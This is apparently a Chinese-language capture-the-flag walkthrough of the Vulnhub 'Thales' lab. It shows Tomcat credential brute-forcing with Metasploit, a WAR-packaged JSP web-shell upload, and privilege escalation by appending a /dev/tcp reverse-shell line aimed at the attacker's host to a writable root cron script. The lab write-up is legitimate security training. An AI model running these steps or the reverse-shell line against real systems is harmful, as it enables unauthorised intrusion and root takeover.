Vulnhub打靶-Thales
基本信息
靶机下载:https://download.vulnhub.com/thales/Thales.zip
攻击机器:192.168.20.128(Windows操作系统)& 192.168.20.138(kali)
提示信息:睁开你的眼睛,改变你的视角
靶机:192.168.20.0/24
目标:获取2个flag+root权限
具体流程
信息收集
老样子首先使用arp-scan -l
对主机进行探活,发现主机IP为192.168.20.147
之后对开放的端口进行扫描,执行nmap -O -sV -p- -A 192.168.20.147
,结果如下所示
开放了8080
端口和22
端口,其中8080
端口是其http服务,我们尝试着访问8080
端口,如下所示
这是一个Tomcat服务,我们知道的是Tomcat曾经爆出过很多漏洞,我们首先先用漏洞扫描工具去探测一下
首先不存在我们常见的PUT上传漏洞,我们再尝试爆破弱口令,我们这里采用msf进行漏洞检索,首先我们先搜索和tomcat登录有关的漏洞search tomcat login
之后我们选择use 0
,之后就可以开始爆破密码了
这里成功登录进去了,账号密码是tomcat:role1
,我们尝试在web端进行登录,结果如下
获取shell权限
我们首先构造一个jsp文件,命名为shell.jsp
,内容如下所示
<%! |
我们再把这个文件压缩为war格式,我们直接cmd运行jar -cvf shell.war *
即可生成我们需要的war文件,我们直接上传该文件,由于服务器上已经有该文件,所以这里我们将其改名为tomcatshell.war
再上传即可
点击启动后再次访问即可,如果可以访问就说明没问题
可以访问,我们直接蚁剑连接,然后反弹shell
成功将shell权限反弹到我们的kali上,接下来就是进行权限的提升
权限提升
我们首先在当前目录下执行sudo -l
,但是没办法直接执行,需要输入当前用户的密码,而且tomcat用户下也并未发现什么有价值的信息,我们只能切换到其他用户目录下看看有没有什么信息。
其中发现了一个user.txt
和一个notes.txt
,其中user.txt
没有权限打开,但是notes.txt
可以被打开,里面告诉了我们一个后门可执行文件,我们先去查看一下这个可执行文件的内容
这个脚本给了我们两个关键信息,一个是需要备份的文件路径是/opt/tomcat/
,备份文件存放的路径是/var/backups
,而且这是一个定时任务,我们先来查看一下文件权限
ls -la /usr/local/bin/backup.sh |
我们可以发现这个文件属于root用户,而且所有用户都具有写入权限,我们试着写入反弹shell语句,如果能够成功执行,我们就可以拿到root权限,我们在文件中写入如下语句
echo "bash -c 'bash -i >& /dev/tcp/192.168.20.138/9002 0>&1'" >> backup.sh |
我们已经成功写入进去,我们试着执行这个文件
虽然这里提示失败,但是我们的kali已经成功接收到shell权限
成功拿到root.txt文件
3a1c85bebf8833b0ecae900fb8598b17 |
我们再去找user.txt文件
a837c0b5d2a8a07225fd9905f5a0e9c4 |
总结
- tomcat弱密码爆破以及任意文件上传漏洞
- 后门脚本权限配置错误导致获得权限